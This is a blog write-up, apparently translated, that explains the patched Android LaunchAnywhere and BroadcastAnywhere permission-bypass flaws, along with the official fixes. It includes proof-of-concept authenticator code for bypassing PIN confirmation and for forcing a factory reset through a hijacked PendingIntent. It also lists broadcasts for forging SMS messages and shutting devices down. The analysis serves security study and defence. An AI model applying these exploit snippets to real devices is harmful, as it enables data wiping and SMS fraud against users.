Android LaunchAnywhere component permission bypass vulnerability

foreword

The attack surface of Android APP applications is mostly concentrated on the four major components (Activity, Service, ContentProvider , and BroadcastReceiver) that are exposed to the outside world (exported="true"). When a component is set to exported="false" or permission protection is added, the three-party application cannot directly access the component, and it is difficult to use this type of component to attack the APP.

However, for system applications (with system signature, uid = system, so they have the power to exercise system), they often have the ability to ignore the component's exported="false" attribute. It is conceivable that if such an app has a vulnerability that can be controlled by an attacker, the attacker's APP will also gain the ability to access any APP component of the system, that is, LaunchAnywhere that this article wants to discuss.

Android component call permission check

In Android, it can be said that the System user has quite high permissions. By reading the source code, we can find that all the places where the permission is checked are directly released to the System user. For details, see the code ActivityManagerService.checkComponentPermission: You can see from the source code that the System user can completely ignore the permission check, regardless of whether the component is exported=true, and return
insert image description here
directly PERMISSION_GRANTED.

LaunchAnyWhere

Google has fixed a component security vulnerability LaunchAnyWhere (Google Bug 7699048). This vulnerability belongs to the Intend Based Extraction vulnerability. An attacker can use this vulnerability to break through the permission isolation between applications and achieve the purpose of calling any private Activity (exported=false). The vulnerability affects Android 2.3 to 4.3 firmware .

Account management mechanism

Starting from Android 2.0, the system has introduced the Account management mechanism. For detailed instructions, please refer to the Android official document. The Account management mechanism provides the ability to centrally manage account APIs and securely store user passwords and tokens. In the system, multiple accounts can exist at the same time (can be viewed through "Settings-Add Account"), such as Google, Microsoft Exchange, WeChat, Alipay, Momo, etc.
insert image description here
To appear on this page, the application needs to declare an account authentication service AuthenticationService:

<service
     android:name=".authenticator.AuthenticationService"
     android:exported="true">
     <intent-filter>
         <action android:name="android.accounts.AccountAuthenticator" />
     </intent-filter>
     <meta-data 
          android:name="android.accounts.AccountAuthenticator"
          android:resource="@xml/authenticator" />
</service>

Principle Analysis of Historical Vulnerabilities

When an ordinary application (denoted as AppA) requests to add a certain type of account, it will call AccountManager.addAccount, and then AccountManager will search for the Authenticator class of the application that provides the account (denoted as AppB), and call the Authenticator.addAccount method; AppA then invokes the account login interface of AppB according to the Intent returned by AppB.
insert image description here
Specific code, AccountManager.addAccount:
insert image description here
Note that the addAccount function finally executes an asynchronous task of AmsTask, and mRespone is a Binder object. When AuthenticationService specifies an Intent, it saves the Intent into this response object, and then directly calls startActivity in Response:
insert image description here

We can convert this process into a simpler fact:

  1. AppA requests to add a specific type of network account;
  2. The system inquires that AppB can provide a network account service of this type, and the system initiates a request to AppB;
  3. AppB returns an intent to the system, and the system forwards the intent to appA;
  4. AccountManagerResponse calls startActivity(intent) in AppA's process space to call up an Activity. AccountManagerResponse is the code in FrameWork, and AppA has no knowledge of this call .

The original intention of this design is that the AccountManager Service helps AppA find the login page of the AppB account and invoke this login page. The problem is that AppB can arbitrarily specify the component pointed to by this intent, and AppA will call an Activity from AccountManagerResponse without knowing it. If AppA is a system permission application (such as Settings), then AppA can invoke any unexported Activity specified by AppB.

In order to specify to pull up any component, the code that AppB returns to the bundle in Step 3 can be as follows:

public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
    
    
        Intent intent = new Intent();
        intent.setComponent(new ComponentName(
                "com.trick.trick ",
                   " com.trick. trick.AnyWhereActivity"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
}

 
 
  
  

How to exploit the above vulnerability?

As mentioned above, if it is assumed that AppA is Settings, AppB is an attack program. Then as long as Settings can trigger the operation of addAcount, AppB can launchAnyWhere. The question is, how can the Settings trigger to add an account?

If it is triggered from the "Settings->Add Account" page, the user needs to manually click to trigger it, so the success rate of the attack will be greatly reduced, because ordinary users seldom add accounts from here, and users are often used to log in directly from the application itself. But it is too early to give up now, in fact, Settings has already left us a trigger interface. As long as we call com.android.settings.accounts.AddAccountSettingsand bring specific parameters to the Intent, the Settings can trigger launchAnyWhere:

Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings",
        "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {
    
    Constants.ACCOUNT_TYPE};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

 
 
  
  

The schematic diagram of the process of exploiting the vulnerability is as follows:
insert image description here

Exploitation and Defense of Vulnerabilities

The main target of attack is the unexported Activity in the application, especially the Activity that contains some intenExtra.

For example, bypass the authentication interface of the original password of the mobile phone pin code, and directly launch the Activity for entering the new password to directly reset the mobile phone system pin code:

intent.setComponent(new ComponentName("com.android.settings",
                  "com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

That is, pull up the following page with the help of Setting: Another vulnerability that can pull up the Pin code reset
insert image description here
page occurred in the history of Android .

bug fixes

This vulnerability has been fixed on 4.4. Looking at the fixed code, you can find the defense idea:

public void onResult(Bundle result) {
    
    
             mNumResults++;
-            if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
    
    
+            Intent intent = null;
+            if (result != null
+                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
    
    
+                /*
+                 * The Authenticator API allows third party authenticators to
+                 * supply arbitrary intents to other apps that they can run,
+                 * this can be very bad when those apps are in the system like
+                 * the System Settings.
+                 */
+                PackageManager pm = mContext.getPackageManager();
+                ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
+                int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
+                int authenticatorUid = Binder.getCallingUid();
+                if (PackageManager.SIGNATURE_MATCH !=
+                        pm.checkSignatures(authenticatorUid, targetUid)) {
    
    
+                    throw new SecurityException(
+                            "Activity to be started with KEY_INTENT must " +
+                            "share Authenticator's signatures");
+                }
+            }
+            if (result != null
+                    && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
    
    
                 String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
                 String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
                 if (!TextUtils.isEmpty(accountName) && !TextUtils.isEmpty(accountType)) {
    
    
@@ -2223,6 +2276,7 @@
             super(looper);
         }

 
 
  
  

Since Resopne is a Binder object, when onResult is called back, authenticatorUid can be obtained through Binder.getCallingUid(). If targetUid is different from authenticatorUid, an exception will be thrown directly to AuthenticationService.

BroadcastAnywhere

Similar to the principle of LaunchAnywhere, through this vulnerability, the attacker can ignore the access restrictions of the BroadcastReceiver component and send broadcasts as the system user.

Compared with LaunchAnywhere, the similarities between these two vulnerabilities are:

  1. They all use the addAccount mechanism. A malicious app registers as an authenticator of an account and handles a certain account type, and then sends an intent to the settings app to add a specific type of account.
  2. They all use the settings app to have the SYSTEM permission to induce the settings to send a high-privilege intent.

The differences between the two vulnerabilities are:

  1. The essential principles are different: one is that a malicious app returns an intent that is launched by settings, the other is that settings send a pending intent to a malicious app, and the malicious app uses the characteristics of pending intent to modify the pending intent's action and extras, and sends it as settings .
  2. The location of the vulnerability code is different: one is in accountmanger, the other is in settings;
  3. The consequences are different: launchAnywhere starts the activity with system permission, while broadcastAnywhere sends broadcast with system permission. The former often needs an interface, while the latter does not.

Analysis of specific principles of vulnerabilities

About PendingIntent, simple understanding is an intent sent asynchronously, which is usually used in the callback of Notification, the callback of short message SmsManager and the execution of AlarmManager, etc. It is a very widely used mechanism. For its specific use and threats, please refer to my other blog post: PendingIntent hijacking leads to app arbitrary file read and write vulnerabilities .

The security risk of PendingIntent mainly occurs when the following two conditions are met at the same time:

  1. The original Intent when constructing PendingIntent neither specified Component nor specified action;
  2. Leak PendingIntent to third parties.

If both Component and action of the original Intent are empty ("double-none" Intent), B can modify the action to send the Intent to those components that declared the intent filter. If A is an APP with high authority (such as settings has SYSTEM authority), B can do many things as A.

Apply the addAccount function of the AddAccountSettings class in the settings system of Android 4.4:
insert image description here
It can be seen that a mPendingIntent is constructed from the original Intent through new Intent(), so it is a "double-none" Intent, and this PendingIntent is finally passed to the malicious APP through the AccountManager.addAccount method.

exploit

When this vulnerability was first reported to Android, the POC of forged text messages was used. For example, the text messages sent by 10086 can be faked, which is exactly the same as the appearance of receiving normal text messages. Later, a Factory Reset POC was updated, which can force the user's mobile phone to be restored to factory settings without any prompts, and clear user data such as SMS and address book. The interface code snippet of the malicious APP is as follows:

@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
    
    
   //这里通过getParcelable(“pendingintent”)就获得了settings传过来的“双无”PendingIntent:
   PendingIntent test = (PendingIntent)options.getParcelable("pendingIntent"); 
   Intent newIntent2 = new Intent("android.intent.action.MASTER_CLEAR");
   try {
    
    
       test.send(mContext, 0, newIntent2, null, null);
   } catch (CanceledException e) {
    
    
       e.printStackTrace();
   }
}

 
 
  
  

In fact, there are too many broadcasts available, such as:

  1. Send android.provider.Telephony.SMS_DELIVERcan forge to receive text messages;
  2. Send android.intent.action.ACTION_SHUTDOWNcan directly shut down;
  3. Send android.intent.action.MASTER_CLEARa broadcast, and the device will restore to factory settings.

Through the loopholes, attackers can forge text messages from relatives, friends, or bank e-commerce. It is completely the same as a normal text message, and ordinary users cannot distinguish it at all. In addition to forging text messages, attackers can use this vulnerability to restore factory settings and more.

Vulnerability official fix

In the source code of Android 5.0, the repair method is to set a fictitious Action and Component, see the Android source code :
insert image description here

Summarize

Summarize the root causes of the above two vulnerabilities:

  1. LaunchAnywhere vulnerability: The system service AccountManager Server "self-assertion" calls StartActivity as the process identity of the Settings system application to help it pull up the attacker's controllable Intent, and eventually the attacker can use the permission of the system application Settings to pull up any component;
  2. BroadcastReceiver vulnerability: The system application Settings sends a PendingIntent with no action/component set to the third-party application, which eventually leads to attackers using the permission of the system application Settings to send arbitrary broadcasts.

Two vulnerabilities for our security testers/developers:

  1. Android system services are not "indestructible" and "airtight". If there are loopholes in the system services of the framework layer during the security audit process, they can often "kill the Quartet";
  2. Android system applications have special high-level permissions, and if the ability to pull up arbitrary components is exploited by an attacker, the consequences will be dire;
  3. PendingIntent has the ability to pass the permission of the sender appA to the receiver, which directly determines that when the PendingIntent hijacking type vulnerability acts on the system application, the malicious application will gain great power.

Guess you like

Origin blog.csdn.net/ab6326795/article/details/131207183